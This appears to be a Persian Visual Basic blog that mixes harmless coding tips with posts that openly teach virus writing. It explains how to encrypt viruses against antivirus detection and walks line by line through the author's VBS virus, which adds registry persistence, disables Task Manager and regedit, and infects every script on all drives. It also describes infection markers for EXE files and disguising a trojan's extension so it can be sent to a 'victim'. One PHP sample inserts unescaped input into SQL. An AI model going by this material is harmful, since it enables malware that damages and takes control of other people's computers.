آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

روش های کلی اینکریپت کردن ویروس ها

در جای جای وبلاگ آموزش اینکریپت کردن فایل ها رو می تونید ببینید مثل پست قبل اما این پست رو به خاطر دوست هکر و ویروس نویس عزیزمون مدیر وبلاگ هکر های مهربان می نویسم که گفته بود مطلبی بنویسم که هر کسی با خلاقیت خودش بتونه ویروس ها رو اینکریپت کنه.به طور کلی دو روش برای این کار وجود داره که عبارتند از:

1.تغییر پسوند فایل

2.تغییر اطلاعات درون فایل به اطلاعات مبهم

آموزش هایی دورن وبلاگ در مورد اولی هست مثل آموزش تبدیل ویروس bat به vbs یا vbs به bat و بعضی از آموزش ها که دو گزینه داخلش به کار رفته مثل آموزش تبدیل ویروس vbs به js.

البته مورد یک خودش به سه قسمت تبدیل میشه که عبارتند از:

الف.تبدیل اسکریپت به اسکریپت

ب.تبدیل اسکریپت به اجرایی

ج.تبدیل اجرایی به اجرایی

مکانیزم کلی این سه روش را در ادامه نوشته ام.

الف.تبدیل اسکریپت به اسکریپت:

برای این کار باید به دو زبان اسکریپت آشنا باشید.برای مثال ابتدا ویروستون را به زبان A می نویسید.حالا به زبان B یک فایل می نویسید که کدهای ویروس به زبان A را در یک فایل دیگر به زبان A در مسیری دلخواه وارد کند و سپس آن فایل را اجرا کند.

ب.تبدیل اسکریپت به اجرایی

روش اول:از برنامه های از پیش تهیه شده استفاده کنید مانند فایل زیر که فایل vbs رو به فایل اجرایی com تبدیل می کند.

دانلود فایل با حجم 1.6 کیلو بایت

توجه:این فایل تحت DOC اجرا می شود.

روش دوم:ابتدا ویروستان را به زبان اسکریپت می نویسید.سپس یک فایل اجرایی می سازید که یک فایل به زبان اسکریپت در مسیری دلخواه بسازد و کدهای ویروس به زبان اسکریپت را در آن وارد کند و سپس فایل اسکریپت را اجرا کند.

ج.تبدیل اجرایی به اجرایی

روش اول:باز هم از برنامه های از پیش تهیه شده استفاده کنید مانند فایل زیر که حجم فایل هایی مانند EXE را کم می کند و سپس خودتان می توانید از طریق rename کردن پسوند فایل را به com تبدیل کنید یا بر عکس.

دانلود فایل با حجم 124 کیلو بایت

توجه:این فایل هم تحت DOC اجرا می شود.

روش دوم:ویروستان را به عنوان یک resource به فایل اجرایی با پسوند دیگر اضافه کنید.سپس فایل resource را استخراج کرده و اجرا کنید.

مورد دوم هم به چندین روش تقسیم می شود که عبارتند از:

الف.char encryption

ب.strreverse encryption

ج.polyencryption

د.hex encryption

ه.polymorphsm

این پنج روش بیشتر برای اسکریپت ها کاربرد دارد.در این پست به آموزش دو روش اکتفا می کنیم.

الف.char encryption

در پست قبل یاد گرفتیم که چه طور کدهای ویروس رو با تابع asc به عدد تبدیل کنیم.حالا ما همون عدد ها رو در دور از چشم آنتی ویروس ها به کد تبدیل می کنیم و در دور از چشم آنتی ویروس ها اجرا می کنیم.این کار رو برای هر خط انجام می دیم:

کدها قبل از اینکریپت:

Msgbox "reza"

Msgbox "reza"

کدها بعد از اینکریپت:

توجه:برای هر خط عمل encryption را انجام دهید.

ب.strreverse encryption

ابتدا هر خط از ویروس بر عکس می شود.به عنوان مثال کلمه ی reza به azer تبدیل می شود.سپس در ابتدای هر خطی که بر عکس شده است علامت ' را قرار داده می شود تا یک توضیح محسوب شود.بعد از آن کدهایی نوشته می شوند که با توجه به تعداد خط هایی که برعکس شده اند ابتدا همه را می خواند و سپس دوباره برعکس می کند و علامت ' هم از آن ها بر می دارد و آن ها را اجرا می کند.

کدها قبل از اینکریپت:

Msgbox "reza"

Msgbox "reza"

کدها بعد از اینکریپت:

توجه:بعد از n= تعداد خط هایی که برعکس کرده اید را بنویسید.

 

موفق باشید.

آموزش ویروس Aphrodite.a.vbs

من دانلود سورس ویروس Aphrodite.a.vbs رو در قسمت قبل گذاشتم.

این ویروس از دو قسمت تشکیل شده:

1.installation

2.infection

امروز قسمت installation این ویروس رو آموزش میدم که خیلی به شما در ضمینه نوشتن ویروس کمک میکنه.در این قسمت،ویروس،خودش را بر روی هر ویندوزی که باشد نصب میکند.کدهای قسمت اول ویروس رو در زیر مشاهده میکنید:

خط اول رو که همتون میدونید.در خط دوم ما شئ wscript.shell را برای دسترسی به رجیستری تعریف میکنیم.در خط سوم متغیری به نام rk را مقدار دهی کردم و در خط چهارم از متد regread برای خوندن رجیستری استفاده کردم.چیزی که خونده شده همان rk بوده.rk در این جا همان مسیر تنظیمات timeout برای فایل های vbs میباشد.خب ما در خط چهارم مقدار این مسیر در رجیستری رو خوندیم و در متغیر tmo قرار دادیم.در خط پنجم میگه که اگه tmo برابر صفر نبود کدهای بعدی رو اجرا میکنه.کد بعدی کد خط ششم است که مقدار صفر را برابر آن مقدار در رجیستری قرار میدهد.اگر این مقدار یک باشد،ویروس پس از یک ثانیه از کار میفته اما قبل از این که یک ثانیه بشه،ویروس این مقدار رو برابر صفر میکنه که یعنی غیرفعال.خط هفتمم که پایان شرطی بود که گذاشتیم.در خط هشتم هم شیئ fso را برای دسترسی به فایل ها،فولدر ها و درایو ها تعریف کردم و در خط نهم با متد getspecialfolder مسیر پوشه سیستم ویندوز رو به دست میاریم و در خط دهم یه مسیر به نام h رو تعریف میکنیم که قراره مسیر ویروس در کامپیوتر قربانی باشه.در خط یازدهم ویروس خودشو به عنوان یک فایل متنی باز میکند و در خط دوازدهم تمام محتویات و کدهای خودش را میخواند و در متغیر c قرار میدهد.در خط سیزدهم چک میکند که آیا فایلی با مسیر h وجود داره یا نه.اگه وجود نداشته باشه کد خط های بعدی را اجرا میکند.در خط چهاردهم خودش رو در مسیر h کپی میکنه و سپس در خط پانزده با متد getfile مشخصات فایلی با مسیر h رو میگیره و سپس در خط شانزدهم attributes فایل رو برابر یک قرار میده که همان readonly خالی میشود.اگر خط پانزدهم انجام نشود،خط شانزدهم هم انجام نخواهد شد.در خط هفدهم فقط عبارت else رو میبینید.یعنی اگه طور دیگه باشه و فایلی با مسیر h وجود داشته باشه،کدهای بهدی را تا end if اجرا کند.در خط هجدهم فایل با مسیر h را به صورت یک فایل متنی باز میکند و در خط نوزدهم تمام کدهای فایل را میخواند و در متغیر o قرار میدهد.در خط بیستم چک میکند که آیا عبارت .::Aphrodite.vbs::. در این فایل وجود داره یا نه.در خط بیست و یکم میگوید که اگر این عبارت در فایل وجود نداشته باشه کد خط های بعدی رو اجرا کنه.عبارت .::Aphrodite.vbs::. یک رمز است که مشخص میکند که آیا آن فایل همان ویروس خودمان میباشد یا نه.اگر نه در خط بیست و دوم attributes فایل رو برابر صفر یا همون عادی قرار میدیم و در خط بیست و سوم خودمون رو به جای اون فایل کپی میکنیم و سپس در خط بیست و چهارم دوباره attributes فایل رو برابر یک قرار میدیم که همون readonly خالیه.خط بییست و پنجم و بیست و ششم هم پایان شرط هایی که گذاشتیم رو مشخص میکنه.در خط بیست و هفتم یک مقدار در رجیستری را تعریف میکنیم و در متغیر lm قرار میدیم.در خط بیست و هشتم این مسیر در رجیستری را + Aphrodite میخونیم و در متغیر er قرار میدیم.در خط بیست و نهم میگیم که اگر er برابر h نبود،در خط سی یک مقدار در رجیستری نوشته بشه که باعث میشه ویروس در هر بار اجرای ویندوز اجرا بشه و  خط سی و یکم هم پایان شرطه.در خط سی و دوم یک مسیر در رجیستری را تعریف میکنیم و در متغیر cu قرار میدیم و در خط سی و سوم یک مقدار در رجیستری مینویسیم که باعث غیرفعال شدن regedit میشود.خط های بعدی هم همین کار را انجام میدهند با این تفاوت که خط سی و چهارم taskmanager غیرقعال میشود.غیرفعال شدن regedit و taskmanager به این صورت نیازی به log off یا restart کردن ویندوز نداره ولی در خط سی و پنجم ویروس run موجود در startmenu را غیرفعال میکند و خط سی و ششم هم باعث غیرفعال شدن shutdown موجود در startmenu میشود که این دو نیاز به log off یا restart ویندوز دارند.در این جا قسمت installation ویروس پایان میپذیرد و در پست بعدی قسمت infection ویروس یا همون آلوده کردن فایل ها توسط ویروس رو آموزش میدم.

دانلود ویروس Aphrodite.a.vbs رو که خودم نوشتمش رو تو وبلاگ گذاشتم.همون طور که در پست قبل گفتم این ویروس دارای دو قسمت است.در پست قبل قسمت installation این ویروس رو آموزش دادم و تو این پست قسمت infection ویروس رو آموزش میدم.در این قسمت،ویروس فایل های vbs و vbe موجود در تمام درایوهای کامپیوتر را آلوده می کند.کدهای قسمت دوم ویروس رو در زیر میبینید:

خط اول تا ششم: در خط اول ویروس با کمک شیئ fso ،تمام درایو های کامپیوتر را می گیرد و سپس در متغیر drives قرار می دهد.در خط دوم از حلقه for-next استفاده شده است.به این صورت که برای هر درایوی کد خط های بعدی را تا جایی که به next برسد اجرا می کند.در خط سوم اگر درایو آماده باشد کد خط های بعدی تا جایی که به end if برسد اجرا می شود.خط چهارم تابع dosearch را اجرا می کند و کنترل برنامه را به این تابع می دهد.همچنین مسیر درایوی که پیدا کرده هم به عنوان متغیر این function معرفی می کند.خط پنجم هم پایان شرطی بود که گذاشته بودیم و خط ششم هم باعث پیدا کردن درایو بعدی می شود. در خط هفتم،مسیر درایو در متغیر path قرار می گیرد.خط هشتم برای این است که اگر در هنگام عملیات ویروس خطایی رخ دهد،اجرای ویروس متوقف نگردد.در خط نهم،ویروس با کمک شیئ fso ،اطلاعاتی راجع به مسیر path می گیرد و در متغیر folder قرار می دهد.در خط دهم،مسیر فایل های موجود در متغیر folder ،گرفته می شوند اما اگر subfolder وجود داشته باشد،مسیر فایل هایش بعدا" گرفته می شوند.خط یازدهم برای هر فایل موجود در آن مسیر،کدهای خط های بعدی را اجرا می کند تا جایی که به عبارت next برسد.در خط دوازدهم،پسوند سه حرفی فایل دریافت می شود و سپس در خط سیزدهم،پسوند فایل به حروف کوچک تبدیل می شود.خط چهاردهم هم می گوید که اگر پسوند فایل vbs یا vbe بود کد خط های بعدی اجرا شوند تا جایی که به end if برسد.در خط پانزدهم مسیر فایل در متغیر fp قرار می گیرد.در خط شانزدهم فایل به صورت متنی برای خواندن باز می شود و در خط هفدهم تمام محتویات فایل در متغیر k1 قرار می گیرد.خط هجدهم هم چک می کند که آیا محتویات k1 دارای علامت .::aphrodite.vbs::. هست یا خیر.این یک رمز است که مشخص می کند آیا آن فایل قبلا" آلوده شده است یا نه.خط نوزدهم می گوید که اگر فایل آلوده نشده،کد خط های بعدی اجرا شود تا زمانی که به end if برسد.در خط بیستم،اطلاعاتی راجع به فایل را دریافت می کنیم و در خط بیست و یکم،attributes فایل را در متغیر v قرار می دهیم و سپس attributes فایل را در خط بیست و دوم برابر صفر قرار می دهیم و در خط بیست و سوم هم فایل به صورت متنی برای اضافه کردن به انتهای فایل باز می شود.در خط بیست و چهارم،یک عبارت خالی را در فایل قرار می دهیم که باعث می شود تا تمام اطلاعاتی که بعدا" می خواهیم در فایل بنویسیم،در خط بعدی از عبارت خالی قرار بگیرند و اطلاعات ویروس درست پشت سر اطلاعات فایل قرار نگیرند و مشکلی رخ ندهد.در خط بیست و پنجم هم کدهای ویروس در فایل قرار می گیرند و در خط بیست و ششم هم attributes فایل برابر با v می شود و خط بیست و هفتم و بیست و هشتم هم پایان شرط هایی بود که گذاشته بودیم.خط بیست و نهم هم باعث پیدا شدن فایل بعدی می شود.در خط سی، subfolder های موجود در مسیر path در متغیر subfolders قرار می گیرند و در خط سی و یکم حلقه for-next وجود دارد که برای هر subfolder موجود در متغیر subfolders ،کد خط بعدی را اجرا می کند.کد خط سی و دوم،تابع dosearch را دوباره اجرا می کند با این تفاوت که این بار مسیر subfolder در متغیر path قرار می گیرد.خط سی و سوم، subfolder بعدی را پیدا می کند و خط سی و چهارم پایان function و پایان قسمت دوم ویروس است

در قسمت اول و دوم ایم مقاله به ترتیب به توضیح روش کلی آلوده سازی و یافتن فایل های exe پرداختیم.یاد آوری می کنم که برای آلوده ساختن فایل به روش کنترلی به سه فایل نیاز داشتیم :

  1. یک فایل exe برای آلوده شدن 
  2. یک فایل ویروسی مثل ویروس خودمون 
  3. یک فایل کنترلی

در این قسمت کد نویسی فایل دوم برنامه را آغاز می کنیم.وظیفه ی این فایل آلوده کردن فایل  exe (شماره ی 1) می باشد.فایل جدید هر سه فایل را در بر خواهد داشت.

به خاطر دارید که یک فایل را نمی توان بیش از یک بار آلوده کرد.پس قبل از آلوده سازی هر فایل باید تشخیص دهیم که آیا آن فایل قبلا آلوده شده است یا نه.برای این کار نشانه ای در فایل قرار می دهیم و قبل از آلوده کردن وجود یا عدم وجود آن نشانه در فایل را بررسی می کنیم.

قرار دادن نشانه :

Open file_1 for random as #1

Put #1, 40, "1"

Close

این دستورات در بایت چهلم فایل نشانه ی 1 را قرار می دهد.نشانه را جایی قرار دهید که فایل خراب نشود.file_1 آدرس فایلی است که آلوده شده است.این عمل را باید بعد از آلوده کردن فایل انجام داد.

تشخیص نشانه :

Open file_1 for random as #1

Dim n as string

Get #1, 40, n

If n="1" then

Close #1

End if

اگر نشانه ی موجود در بایت چهلم برابر با نشانه ای بود که خودمان در فایل قرار داده بودیم، فایل را می بندیم و به دنبال فایل دیگری می گردیم.

قبل از نوشتن قسمت بعدی کدها، سورس زیر را در ماژول برنامه کپی کنید.

Public Type FileData

 File1 As String

 File2 As String

End Type

Public Type Name

 F1 As String

 F2 As String

End Type

Public Datas As FileData

Public Names As Name

Public DataBag As New PropertyBag

 

ویروس فایل کنترلی را به جای فایل exe قرار می دهد.سپس کدهای خود و فایل را به انتهای فایل کنترلی اضافه می کند.پس باید قبل از این کار اطلاعات فایل exe و خود را بخواند.خط اول تا چهارم سورس برای این کار آورده شده اند.خط پنجم تا هشتم برای نام های فایل exe و ویروس هستند.خط آخر هم یک بسته ی اطلاعاتی ایجاد می کند.ما می خواهیم این بسته را در انتهای فایل کنترلی قرار دهیم.این بسته شامل کدهای ویروس و کدهای فایل exe و نام ویروس و نام فایل exe خواهد بود.فایل کنترلی این بسته را از آخر خود می خواند و برای ساختن فایل exe و ویروس و اجرا کردن آن ها به این نام ها نیاز دارد.

قسمت بعدی مقاله :

1.پر کردن بسته ی اطلاعاتی

2.تزریق ماده ی وراثتی (فایل شماره ی 3)

ویروس

سلام دوستان.از این که مدتی نبودم معذرت می خوام.تو این مدت سوالاتی پرسیده بودید که تو این پست به همه اونا جواب میدم.اول از همه به دوست خوبم شیطان دراز دست بگم که برای مخفی کردن دستورات در یک فایل bat ،ابتدای کدهای ویروس،کد @echo off را قرار دهد.در ضمن به وسیله برنامه turbo assembler می تواند کدهایش را در قالب com داشته باشد.سرعت اجرای فایل های com بالاست.از masm هم برای اسمبل کردن آن ها می تواند استفاده کند.در این حالت اگر کدها مشکلی نداشته باشند ویروس در عرض 3 ثانیه عمل می کند.(با توجه به کدهای ویروس)

یکی از دوستان هم گفته بود که یه ویروس با ویژوال بیسیک ساخته که فقط در کامپیوتر خودش کار می کنه.خب اگه خود ویروسش اشکال نداره،پس ویندوزی که ویروس درونش اجرا نمیشه فایل های ویژوال بیسیک رو پشتیبانی نمی کنه.یکی از برنامه هایی که این مشکل رو رفع می کنه برنامه upx هست که با یک سرچ در گوگل می تواند آن را دانلود و به راحتی از آن استفاده کند.

آقا آرش هم می خواستن لیست فایل های دیسک c رو داشته باشن.این کار در ویژوال بسیک با کدهای زیر امکان پذیر است:

فرستادن کلیدهای ترکیبی

خیلی وقتها دلمون میخواهد کلیدهای مثل ctrl+v رو سند کنیم اما چه جوری؟؟؟

SendKeys Help
Key Code
------ --------
BACKSPACE {BACKSPACE}, {BS}, or {BKSP}
BREAK {BREAK}
CAPS LOCK {CAPSLOCK}
DEL or DELETE {DELETE} or {DEL}
DOWN ARROW {DOWN}
End {END}
ENTER {ENTER} or ~
ESC {ESC}
HELP {HELP}
HOME {HOME}
INS or INSERT {INSERT} or {INS}
Left ARROW {LEFT}
NUM LOCK {NUMLOCK}
Page DOWN {PGDN}
Page UP {PGUP}
Print Screen {PRTSC}
Right ARROW {RIGHT}
SCROLL LOCK {SCROLLLOCK}
Space { } note space between brackets
TAB {TAB}
UP ARROW {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}
F16 {F16}

Alt-control-del اینا هم برای:


Key Code
------ --------
Shift +
CTRL ^
ALT %

برا اینکه نشون بدید دو حرف ایی و سی با شیفت فشار داده شدن بنویسید

+(EC)

و برا اینکه بگید حرف ایی با شیفت ولی حرف سی بدون شیفت نوشته شده بنویسید

+EC.

اینم خیلی بدرد میخوره برااینکه بگید یه کلید رو چند دفعه فشار بده مثلا کلید چپ حرکتی رو 40 دفعه فشار بده بنویسید
{LEFT 40}

و
{h 10}

یعنی کلید اچ 10 بار فشار داده شده

رسم چرخ دنده با ویژوال بیسیک

خوب دو ستان عزیز این یکی از سورس هایی است که مربوط به ریاضی هست و کسانی که از ریاضی خوششون میاد حتما از این کد لذت می برند . با چند تکه کد زیر می توانید یک چرخ دنده طراحی کنید . کد های زیر را در یک command بنویسید و بعد اجراش کنید .

 

Cls

 

p = 4 * Atn(1(

a = 0

CurrentX = 85 - 35 * -Cos(a(

CurrentY = 50 + 35 * -Sin(a(

f = 1

Do

x = 85 - 35 * -Cos(a(

y = 50 + 35 * -Sin(a(

X1 = 85 - 25 * -Cos(a(

Y1 = 50 + 25 * -Sin(a(

If f = 1 Then

Line -(x, y), BackColor

Else

Line -(x, y), Color

End If

f = f * -1

Line (X1, Y1)-(x, y(

a = a + 2 * p / 20

Loop Until a > 4 * p

 

a = 0

CurrentX = 85 - 25 * -Cos(a(

CurrentY = 50 + 25 * -Sin(a(

f = 1

Do

x = 85 - 25 * -Cos(a(

y = 50 + 25 * -Sin(a(

If f = 1 Then

Line -(x, y), Color

Else

Line -(x, y), BackColor

End If

f = f * -1

a = a + 2 * p / 20

Loop Until a > 4 * p

 

 

Circle (85, 50), 15


برای آزمایش این کد بهتر است پهنای فرم بالا ی 8000 باشد و درازای فرم بالای 5000 .

مخفی کردن فایل در پشت عکس

 

امروز می خوام یه ترفند بهتون یاد بدم که با اون بتونید فایل هاتون رو پشت یه عکس مخفی کنید در این

ترفند اگر روی فایل دابل کلیک کنید فقط یک عکس مشاهده خواهید کرد

برای این کار از دستور زیر در داس DOS استفاده کنید

برای رفتن به داس در منوی RUN دستور CMD را تایپ کنید و بعد از باز شدن داس دستور زیر را تایپ کنید

copy /b photo.jpg+file.zip file.jpg

منظور از کلمه photo در بالا همان عکسی است که باید نشان داده شود و منظور از کلمه file.zip همان فایل زیپ شده است

برای باز کردن این فایل هم کافی است برنامه winrar بر روی سیستم شما نصب باشد

برای باز کردن این فایل بر روی آن راست کلیک کرده و از زیر منوی Open With... گزینه winrar را انتخاب کنید.

روش دوم:

 
روشی جدید برای مخفی کردن پسوند exe از ادامه فایل تروجان

برای این کار شما ابتدا باید فایل تروجان خود را Copy کرده و برنامه Wordpad را اجرا کرده و بعد از ان فایل تروجان خود را در آنجا Paste کنید بعد به این آدرس

Edit>Package Object>Edit Package

مرا جعه کنید و بعد از باز شدن صفحه مورد نظر به آدرس

Edit>Copy Package

مراجعه کنید حالا به یکی از درایو ها بروید و و در آنجا راست کلیک کنید و Paste را بزنید خواهید دید که پسوند فایل شما تغییر کرده است .

این فایل کارایی همان فایل تروجان با پسوند exe را دارد آما با پسوندی متفاوت،حالا شما می توانید این فایل را از طریق Yahoo Massenger برای قربانی خود بفرستید بدون ابنکه متوجه شود که این فایل یک تروجان است.

مخفی کردن یک فولدر به شکلی حیرت انگیز

امروز براتون یه آموزش گذاشتم که به اسونی بتونین فایل ها رو به آسونی فایلها رو مخفی کنین!برای این کار مراحل زیر رو انجام بدین:

برای این کار:

ابتدا از منوی Stat وارد Run شوید. سپس دستور cmd را تایپ نموده و Enter بزنید.
اکنون در داخل CMD کد زیر را وارد کنید و Enter بزنید:

attrib +h +s D:/password35

دقت کنید این کد فولدر password35 را در درایو D مخفی میسازد.
به Space های خورده شده در میان کد نیز دقت کنید.
با این عمل فولدر password35 کاملأ از روی هارد شما مخفی میشود.

در صورتی که میخواهید یک فایل را نیز مخفی کنید کافی است آدرس را بدین شکل وارد کنید:

attrib +h +s D:/Windows/password35

این کد فایل password35.exe را در داخل درایو D و پوشه Windows مخفی میسازد.

به همین سادگی شما میتوانید عملیات مخفی سازی را انجام دهید.

اما چگونه این فایلهای مخفی کرده را بازگردانیم؟
بدین منظور در داخل CMD دستور زیر را وارد کنید تا به ترتیب فایلهای مخفی شده مان آشکار گردند:

attrib -h -s D:/password35

attrib -h -s D:/Windows/password35.exe
نکته:تنها دقت کنید که محل و نام فایل مخفی شده تان فراموش تان نشود چرا که دیگر امکان بازیابی آن وجود ندارد.

شروع برنامه هنگام لود ویندوز

با این کد می تونید برنامه هاتون رو موقع شروع ویندوز صدا بزنید

 


Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String

subkey = "Software|Microsoft|Windows|CurrentVersion|Run"

retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))

RegCloseKey hregkey
End Sub
''''''''''''''''this code goes to a module

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _
hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1


فقط یادتون باشه بجای | علامت بک اسلش بزارین

ارسال اطلاعات از نرم افزار به وب سایت

 

www.arash-soft.blogsky.com

ابتدا شما یه برنامه ساده با vb مینویسید که اطلاعات تو یه تکست باکس رو به یه url ارسال میکنه . به این ترتیب:


Private Sub Command1_Click()
soal = Text1.Text
Shell "explorer.exe ""http://www.ahwazserver.com/save/index.php?import=" & soal & """"
End Sub


بعد از اون باید فایل php که اطلاعات بهش ارسال میشن رو پردازش کنیم و در یه دیتا بیس ذخیره کنیم . کد php فایل index.php بدین ترتیب میشه :

<?
$user = "";
$pass = "";
$database = "database_save";
mysql_pconnect("localhost", $user, $pass);
mysql_select_db($database);
$query = "INSERT INTO `report` values ('$import')";
if (mysql_query($query)) {
  print "Thanks !";
} else {
 print "Error !";
}
?>


اینم کد جدول دیتابیسی که باید ایجاد بشه با نام database_save :


CREATE TABLE `report` (
  `question` text NOT NULL
) TYPE=MyISAM;


البته برنامه رو به دلخواه میشه خیلی تغییرات داد. مثلا اینکه پنجره explorer که برای submit باز میشه بصورت مخفی باشه یا اینکه بجای اینکه اطلاعات دریافتی رو بجای ذخیره در بانک اطلاعاتی در فایل ذخیره کنه یا اصلا اونها رو ایمیل کنه و...

امیدوارم مفید بوده باشه-برگرفته از Iranvig

تعدادی سایت که فضای رایگان با پشتیبانی PHP و MySQL


سایت : http://www.512megs.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
512 مگابایت فضا.
5 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 10 پایگاه داده MySQL.
قابلیت نصب خودکار 20 برنامه تحت وب.
نمایش آمار سایت بصورتلحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.nocatch.net
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
250 مگابایت فضا.
2.5 گیگابایتپهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 3 پایگاهداده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایت بصورتلحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.ypu.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
10 گیگابایت فضا.
12 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 12 پایگاه داده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایت بصورتلحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.ribytehost.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
150 مگابایت فضا. (محدودیت آپلود فایلبا حجم 500 کیلوبایت)
4 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 4.4.2 به همراه Perl, CGI, SSI
قابلیت ساخت 1 پایگاه داده MySQL.
پشتیبانی از FrontPage™.
2 عدد ایمیل POP3.
Safe Mode : بسته
Register Globals : باز
سایت : http://www.rule-breakers.info
ویژگی‌ها :
دارای ساب‌دامین رایگان و قابل اتصال به دامین.
150 مگابایت فضا. (محدودیتآپلود فایل با حجم 500 کیلوبایت)
4 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 4.4.2 به همراه Perl, CGI, SSI
قابلیت ساخت 1پایگاه داده MySQL.
پشتیبانی از FrontPage™.
2 عدد ایمیل POP3.
Safe Mode : بسته
Register Globals : باز
سایت : http://www.freehostrunner.com
ویژگی‌ها :
دارای ساب‌دامین رایگان و قابل اتصال به دامین.
150 مگابایت فضا. (محدودیتآپلود فایل با حجم 500 کیلوبایت)
4 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 4.4.2 به همراه Perl, CGI, SSI
قابلیت ساخت 1پایگاه داده MySQL.
پشتیبانی از FrontPage™.
2 عدد ایمیل POP3.
Safe Mode : بسته
Register Globals : باز
سایت : http://www.ixihost.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
150 مگابایت فضا. (محدودیت آپلود فایلبا حجم 500 کیلوبایت)
4 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 4.4.2 به همراه Perl, CGI, SSI
قابلیت ساخت 1 پایگاه داده MySQL.
پشتیبانی از FrontPage™.
2 عدد ایمیل POP3.
Safe Mode : بسته
Register Globals : باز
سایت : http://www.fatfreehost.com
ویژگی‌ها :
دارای ساب‌دامین رایگان و قابل اتصال به دامین.
20 گیگابایت فضا.
10 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 1پایگاه داده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایتبصورت لحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.freehostplace.com
ویژگی‌ها :
دارای ساب‌دامین رایگان و قابل اتصال به دامین.
5 گیگابایت فضا.
20 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 10پایگاه داده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایتبصورت لحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.ucoz.com
ویژگی‌ها :
100 مگابایتفضا.
نامحدود پهنای باند.
دارای FTP.
سایت آماده، انجمن، وبلاگ، دفترمهمان، آلبوم عکس.

سایت : http://www.flumma.net
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
300 مگابایت فضا.
10 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 7 پایگاه داده MySQL.
حساب ایمیل POP3.
قابلیت محافظت از فایل‌ها به کمک پسورد.
دارایکنترل پنل Vista.
قابلیت نصب خودکار برنامه‌های تحت وب.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.sytehost.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
250 مگابایت فضا.
6 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 3 پایگاه داده MySQL.
حساب ایمیل POP3.
قابلیت محافظت از فایل‌ها به کمک پسورد.
دارایکنترل پنل Vista.
قابلیت نصب خودکار برنامه‌های تحت وب.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.hostwq.net
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
300 مگابایت فضا.
10 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 4 پایگاه داده MySQL.
حساب ایمیل POP3.
قابلیت محافظت از فایل‌ها به کمک پسورد.
دارایکنترل پنل Vista.
قابلیت نصب خودکار برنامه‌های تحت وب.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.x0b.net
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
250 مگابایت فضا.
15 گیگابایت پهنایباند.
دارای FTP. (نامحدود)
پشتیبانی از PHP نسخه 4.4.4.
قابلیت ساختپایگاه داده MySQL.(نامحدود)
حساب ایمیل نامحدود.
Fantastico De Luxe.
Safe Mode : بسته
Register Globals : بسته
سایت : http://www.nothing4hosting.com
ویژگی‌ها :
250 مگابایت فضا.
2 گیگابایت پهنای باند.
دارای FTP. (دوعدد)
پشتیبانی از PHP نسخه 5.1.2.
قابلیت ساخت پایگاه داده MySQL.(نامحدود)
